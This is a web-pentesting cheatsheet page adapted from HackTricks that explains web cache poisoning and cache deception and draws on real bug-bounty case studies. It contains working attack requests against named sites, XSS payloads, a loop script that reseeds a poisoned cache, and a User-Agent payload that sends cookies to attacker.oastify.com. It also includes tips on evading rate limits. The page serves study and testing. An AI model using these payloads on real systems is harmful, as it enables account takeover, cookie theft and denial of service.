daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (33815B)


      1 ---
      2 title: "Cache Poisoning and Cache Deception"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/cache-deception/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/cache-deception/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Cache Poisoning and Cache Deception
     14 
     15 ## The difference
     16 
     17 > **What is the difference between web cache poisoning and web cache deception?**
     18 >
     19 > - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
     20 > - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
     21 
     22 ## Cache Poisoning
     23 
     24 Web cache poisoning manipulates a shared cache into storing a harmful response that is later served to other users. Impact depends on the cache key, cache lifetime, affected route, and traffic reaching the poisoned entry.<sup>[[1]](#references)</sup>
     25 
     26 The execution of a cache poisoning assault involves several steps:
     27 
     28 1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.
     29 2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.
     30 3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.
     31 
     32 ### Discovery: Check HTTP headers
     33 
     34 Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](/hacktricks/network-services-pentesting/pentesting-web/special-http-headers#cache-headers).
     35 
     36 ### Discovery: Caching error codes
     37 
     38 If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS).
     39 
     40 You can find more options in:
     41 
     42 
     43 [Cache Poisoning To Dos](/hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos)
     44 
     45 However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable.
     46 
     47 ### Discovery: Identify and evaluate unkeyed inputs
     48 
     49 You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
     50 
     51 ```html
     52 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
     53 ```
     54 
     55 ### Elicit a harmful response from the back-end server
     56 
     57 With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
     58 
     59 ### Get the response cached
     60 
     61 Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
     62 
     63 The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
     64 The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
     65 
     66 Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
     67 
     68 One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
     69 
     70 When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.<sup>[[1]](#references)</sup>
     71 
     72 ### Foundational cache poisoning case studies
     73 
     74 #### HackerOne global redirect via `X-Forwarded-Host`
     75 
     76 - The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.
     77 - Poison with:
     78 
     79 ```http
     80 GET / HTTP/1.1
     81 Host: hackerone.com
     82 X-Forwarded-Host: evil.com
     83 ```
     84 
     85 - Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.<sup>[[15]](#references)</sup>
     86 
     87 #### GitHub repository DoS via `Content-Type` + `PURGE`
     88 
     89 - Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.
     90 - GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand:
     91 
     92 ```bash
     93 curl -H "Content-Type: invalid-value" https://github.com/user/repo
     94 curl -X PURGE https://github.com/user/repo
     95 ```
     96 
     97 - Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.<sup>[[15]](#references)</sup>
     98 
     99 #### Shopify cross-host persistence loops
    100 
    101 - Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
    102 - Use short automation loops to repeatedly reseed:
    103 
    104 ```python
    105 import requests, time
    106 for i in range(100):
    107     requests.get("https://shop.shopify.com/endpoint",
    108                  headers={"X-Forwarded-Host": "attacker.com"})
    109     time.sleep(0.1)
    110 print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
    111 ```
    112 
    113 - After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.<sup>[[15]](#references)</sup>
    114 
    115 #### JS asset redirect → stored XSS chain
    116 
    117 - Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.
    118 
    119 ```http
    120 GET /assets/main.js HTTP/1.1
    121 Host: target.com
    122 X-Forwarded-Host: attacker.com
    123 ```
    124 
    125 - Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.<sup>[[15]](#references)</sup>
    126 
    127 #### GitLab static DoS via `X-HTTP-Method-Override`
    128 
    129 - GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.
    130 
    131 ```http
    132 GET /static/app.js HTTP/1.1
    133 Host: gitlab.com
    134 X-HTTP-Method-Override: HEAD
    135 ```
    136 
    137 - A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.<sup>[[15]](#references)</sup>
    138 
    139 #### HackerOne static asset loop via `X-Forwarded-Scheme`
    140 
    141 - Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset:
    142 
    143 ```http
    144 GET /static/logo.png HTTP/1.1
    145 Host: hackerone.com
    146 X-Forwarded-Scheme: http
    147 ```
    148 
    149 - Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.<sup>[[15]](#references)</sup>
    150 
    151 #### Cloudflare host-header casing mismatch
    152 
    153 - Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.
    154 
    155 ```http
    156 GET / HTTP/1.1
    157 Host: TaRgEt.CoM
    158 ```
    159 
    160 - Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.<sup>[[15]](#references)</sup>
    161 
    162 #### Red Hat Open Graph meta poisoning
    163 
    164 - Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users:
    165 
    166 ```http
    167 GET /en?dontpoisoneveryone=1 HTTP/1.1
    168 Host: www.redhat.com
    169 X-Forwarded-Host: a."?><script>alert(1)</script>
    170 ```
    171 
    172 - Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.<sup>[[15]](#references)</sup>
    173 
    174 ## Exploiting Examples
    175 
    176 ### Easiest example
    177 
    178 A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
    179 You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
    180 
    181 ```html
    182 GET /en?region=uk HTTP/1.1
    183 Host: innocent-website.com
    184 X-Forwarded-Host: a."><script>alert(1)</script>"
    185 ```
    186 
    187 _Note that this will poison a request to `/en?region=uk` not to `/en`_<sup>[[1]](#references)</sup>
    188 
    189 ### Cache poisoning to DoS
    190 
    191 
    192 [Cache Poisoning To Dos](/hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos)
    193 
    194 ### Cache poisoning through CDNs
    195 
    196 In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:<sup>[[4]](#references)</sup>
    197 
    198 - The CDN will cache anything under `/share/`
    199 - The CDN will not decode or normalize `%2F..%2F`; therefore, it can be used as **path traversal to reach other sensitive locations that will be cached**, such as `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`.
    200 - The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**.<sup>[[4]](#references)</sup>
    201 
    202 ### Using web cache poisoning to exploit cookie-handling vulnerabilities
    203 
    204 Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
    205 
    206 ```html
    207 GET / HTTP/1.1
    208 Host: vulnerable.com
    209 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
    210 ```
    211 
    212 Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.<sup>[[2]](#references)</sup>
    213 
    214 ### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
    215 
    216 Check:
    217 
    218 
    219 [Cache Poisoning Via Url Discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies)
    220 
    221 ### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
    222 
    223 [**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.<sup>[[4]](#references)</sup>
    224 
    225 This is also explained better in:
    226 
    227 
    228 [Cache Poisoning Via Url Discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies)
    229 
    230 ### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
    231 
    232 Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.<sup>[[7]](#references)</sup>
    233 
    234 ```html
    235 GET /resources/js/tracking.js HTTP/1.1
    236 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
    237 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
    238 X-Forwarded-Scheme: http
    239 ```
    240 
    241 ### Exploiting with a limited `Vary` header
    242 
    243 If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:
    244 
    245 ```html
    246 GET / HTTP/1.1
    247 Host: vulnerable.net
    248 User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
    249 X-Host: attacker.com
    250 ```
    251 
    252 ### Fat Get
    253 
    254 Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website:
    255 
    256 ```text
    257 GET /contact/report-abuse?report=albinowax HTTP/1.1
    258 Host: github.com
    259 Content-Type: application/x-www-form-urlencoded
    260 Content-Length: 22
    261 
    262 report=innocent-victim
    263 ```
    264 
    265 Practice this behavior in PortSwigger's **Web cache poisoning via a fat GET request** lab.<sup>[[18]](#references)</sup>
    266 
    267 ### Parameter Cloaking
    268 
    269 For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
    270 
    271 Practice this behavior in PortSwigger's **Web cache poisoning via parameter cloaking** lab.<sup>[[19]](#references)</sup>
    272 
    273 ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
    274 
    275 Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
    276 
    277 ### Automated testing for Web Cache Poisoning
    278 
    279 The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
    280 
    281 Example usage: `wcvs -u example.com`
    282 
    283 ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
    284 
    285 This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:
    286 
    287 - The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context.
    288 - The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets.
    289 - Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.<sup>[[8]](#references)</sup>
    290 
    291 Practical recipe (observed across a popular CDN/WAF):
    292 
    293 1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace.<sup>[[9]](#references)</sup>
    294 2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
    295    - First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
    296    - Immediately after: GET the main page (`/`).
    297 3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`).
    298 
    299 Example header payload (to exfiltrate non-HttpOnly cookies):
    300 
    301 ```http
    302 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
    303 ```
    304 
    305 Operational tips:
    306 
    307 - Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
    308 - Using an IP from the CDN's own cloud sometimes improves routing consistency.
    309 - If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
    310 
    311 Impact:
    312 
    313 - If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
    314 
    315 
    316 ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
    317 
    318 A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
    319 
    320 ```http
    321 POST /-/xaml/Sitecore.Shell.Xaml.WebControl
    322 Content-Type: application/x-www-form-urlencoded
    323 
    324 __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
    325 ```
    326 
    327 This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.<sup>[[10]](#references)</sup>
    328 
    329 For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
    330 
    331 [Readme](/hacktricks/network-services-pentesting/pentesting-web/sitecore/overview)
    332 
    333 ## Vulnerable Examples
    334 
    335 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
    336 
    337 ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.<sup>[[5]](#references)</sup>
    338 
    339 ### 403 and Storage Buckets
    340 
    341 Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.<sup>[[5]](#references)</sup>
    342 
    343 ### Injecting Keyed Parameters
    344 
    345 Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.<sup>[[5]](#references)</sup>
    346 
    347 ### User Agent Rules
    348 
    349 Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.<sup>[[5]](#references)</sup>
    350 
    351 ### Illegal Header Fields
    352 
    353 HTTP field names use the `token` grammar. Headers containing characters outside that grammar should be rejected, but intermediaries and origins do not always parse them consistently. One disclosed Akamai behavior forwarded invalid header names and cached a resulting `400` response when `Cache-Control` was absent; a header containing an illegal character such as `\` could therefore produce a cacheable error.<sup>[[5]](#references)</sup><sup>[[17]](#references)</sup>
    354 
    355 ### Finding new headers
    356 
    357 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
    358 
    359 ## Cache Deception
    360 
    361 The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.<sup>[[14]](#references)</sup>
    362 
    363 First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
    364 
    365 Other things to test:
    366 
    367 - _www.example.com/profile.php/.js_
    368 - _www.example.com/profile.php/.css_
    369 - _www.example.com/profile.php/test.js_
    370 - _www.example.com/profile.php/../test.js_
    371 - _www.example.com/profile.php/%2e%2e/test.js_
    372 - _Use lesser known extensions such as_ `.avif`<sup>[[6]](#references)</sup>
    373 
    374 Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).<sup>[[3]](#references)</sup>\
    375 In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
    376 Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.<sup>[[3]](#references)</sup>
    377 
    378 Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.<sup>[[3]](#references)</sup>
    379 
    380 Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
    381 
    382 ### CSPT-assisted authenticated cache poisoning (Account Takeover)
    383 
    384 This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
    385 
    386 High level idea:
    387 
    388 - A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin.
    389 - Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers.
    390 - The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key.
    391 - Anyone can then `GET` that same cache key without authentication and retrieve the victim's token.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup><sup>[[13]](#references)</sup>
    392 
    393 Example
    394 
    395 - Sensitive endpoint (non-cacheable at origin):
    396 
    397 ```text
    398 GET /v1/token HTTP/1.1
    399 Host: api.example.com
    400 X-Auth-Token: <REDACTED>
    401 Accept: application/json
    402 
    403 HTTP/1.1 200 OK
    404 Content-Type: application/json
    405 Cache-Control: no-cache, no-store, must-revalidate
    406 X-Cache: Miss from cdn
    407 
    408 {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
    409 ```
    410 
    411 - Static-looking suffix flips CDN to cacheable:
    412 
    413 ```text
    414 GET /v1/token.css HTTP/1.1
    415 Host: api.example.com
    416 X-Auth-Token: <REDACTED>
    417 Accept: application/json
    418 
    419 HTTP/1.1 200 OK
    420 Content-Type: application/json
    421 Cache-Control: max-age=86400, public
    422 X-Cache: Hit from cdn
    423 
    424 {"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
    425 ```
    426 
    427 - CSPT in SPA attaches auth header and allows traversal:
    428 
    429 ```javascript
    430 const urlParams = new URLSearchParams(window.location.search);
    431 const userId = urlParams.get('userId');
    432 
    433 const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
    434 
    435 fetch(apiUrl, {
    436   method: 'GET',
    437   headers: { 'X-Auth-Token': authToken }
    438 });
    439 ```
    440 
    441 - Exploit chain:
    442   1. Lure victim to a URL that injects dot-segments into the SPA path parameter, e.g.:
    443      - [https://example.com/user?userId=../../../v1/token.css](https://example.com/user?userId=../../../v1/token.css)
    444   2. The SPA issues an authenticated fetch to:
    445      - [https://api.example.com/v1/users/info/../../../v1/token.css](https://api.example.com/v1/users/info/../../../v1/token.css)
    446   3. Browser normalization resolves it to:
    447      - [https://api.example.com/v1/token.css](https://api.example.com/v1/token.css)
    448   4. The CDN treats .css as a static asset and caches the JSON with Cache-Control: public, max-age=...
    449   5. Public retrieval: anyone can then GET https://api.example.com/v1/token.css and obtain the cached token JSON.
    450 
    451 Preconditions
    452 
    453 - SPA performs authenticated fetch/XHR to the same API origin (or cross-origin with working CORS) and attaches sensitive headers or bearer tokens.
    454 - Edge/CDN applies extension-based caching for static-looking paths (e.g., *.css, *.js, images) and does not vary the cache key on the sensitive header.
    455 - Origin for the base endpoint is non-cacheable (correct), but the extension-suffixed variant is allowed or not blocked by edge rules.
    456 
    457 Validation checklist
    458 
    459 - Identify sensitive dynamic endpoints and try suffixes like .css, .js, .jpg, .json. Look for Cache-Control: public/max-age and X-Cache: Hit (or equivalent, e.g., CF-Cache-Status) while content remains JSON.
    460 - Locate client code that concatenates user-controlled input into API paths while attaching auth headers. Inject ../ sequences to redirect the authenticated request to your target endpoint.
    461 - Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
    462 - From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.
    463 
    464 
    465 ### Authenticated HTML cache entries targeted with query cache busters
    466 
    467 Not every WCD requires path confusion or static extensions. A very common variant is: **authenticated HTML response + shared cacheability + attacker-controlled cache key + user-specific secret in the body**.<sup>[[16]](#references)</sup>
    468 
    469 Typical indicators:
    470 
    471 - The authenticated page returns **`X-Cache: MISS`** on first load and **`X-Cache: HIT`** when replayed.
    472 - **`Cache-Control`** allows shared caching (for example, it lacks **`private`** / **`no-store`**).
    473 - The HTML source contains **victim-specific data** such as JWTs, CSRF tokens, email addresses, account settings, or bootstrapped session objects inside inline JavaScript.
    474 
    475 Minimal validation flow:
    476 
    477 1. Authenticate and request a page that should be user-specific (homepages are still interesting if they bootstrap session state).
    478 2. Replay the exact request in Burp Repeater.
    479 3. Compare **`X-Cache`**, **`Age`**, and **`Cache-Control`**.
    480 4. Inspect the cached body, not just the headers: if secrets are embedded in the HTML/JS, another user hitting the same cache key may receive them.
    481 
    482 If many users constantly overwrite the shared entry, add an **attacker-chosen query parameter** to isolate the cache key:
    483 
    484 ```http
    485 GET /?cacheBuster=1 HTTP/1.1
    486 Host: target.com
    487 Cookie: session=<victim-session>
    488 ```
    489 
    490 If the cache keys on the full URL, forcing the victim to visit that exact URL stores their authenticated response under a predictable entry that the attacker can later request anonymously. This is especially useful on homepages that are globally cacheable but still inject per-user state into the DOM.
    491 
    492 ### SameSite=Lax delivery constraints in WCD campaigns
    493 
    494 When the victim must seed the cache from an attacker-controlled site, remember that **default `SameSite=Lax` cookies are usually not sent on cross-site subresource requests** such as **`<img>`**, **`<script>`**, or XHR/fetch.<sup>[[16]](#references)</sup> Therefore, a payload like the following often primes the cache with an **unauthenticated** response only:
    495 
    496 ```html
    497 <img src="https://target.com/?cacheBuster=1">
    498 ```
    499 
    500 To seed the cache with the victim's authenticated HTML, use a **top-level navigation** primitive instead, because `SameSite=Lax` still allows cookies on cross-site navigations such as links and many GET redirects:
    501 
    502 ```html
    503 <meta http-equiv="refresh" content="0; url=https://target.com/?cacheBuster=1">
    504 <p>If not redirected, <a href="https://target.com/?cacheBuster=1">open target</a>.</p>
    505 ```
    506 
    507 Practical checklist:
    508 
    509 - First confirm that the **subresource** version does **not** include cookies.
    510 - Then switch to a **top-level navigation** and verify that the cacheable response now contains victim-only data.
    511 - Re-request the exact cache-buster URL from a clean context and confirm the secret is returned from cache.
    512 
    513 This turns a noisy, random WCD into a **targeted account-takeover primitive** whenever the cached HTML exposes reusable session material.
    514 
    515 ## Automatic Tools
    516 
    517 - [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
    518 - [**CacheDecepHound**](https://github.com/g4nkd/CacheDecepHound): Python scanner designed to detect Cache Deception vulnerabilities in web servers.
    519 
    520 ## References
    521 
    522 - [1] [PortSwigger: Web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning)
    523 - [2] [PortSwigger: Web cache poisoning – exploiting cookie-handling vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
    524 - [3] [HackerOne report #593712 – Web Cache Deception](https://hackerone.com/reports/593712)
    525 - [4] [ChatGPT Account Takeover via cache poisoning and path traversal](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)
    526 - [5] [Cache Poisoning at Scale](https://youst.in/posts/cache-poisoning-at-scale/)
    527 - [6] [How I test for web cache vulnerabilities: tips and tricks](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
    528 - [7] [How I hacked all Zendesk sites (265000+ sites) with one line](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
    529 - [8] [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
    530 - [9] [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
    531 - [10] [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
    532 - [11] [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/)
    533 - [12] [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
    534 - [13] [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg)
    535 - [14] [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
    536 - [15] [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/)
    537 - [16] [Cracking SameSite for a $2,000 Web Cache Deception](https://medium.com/@tinopreter/cracking-samesite-for-a-2-000-web-cache-deception-746972278412)
    538 - [17] [RFC 9110: Field Names](https://www.rfc-editor.org/rfc/rfc9110.html#name-field-names)
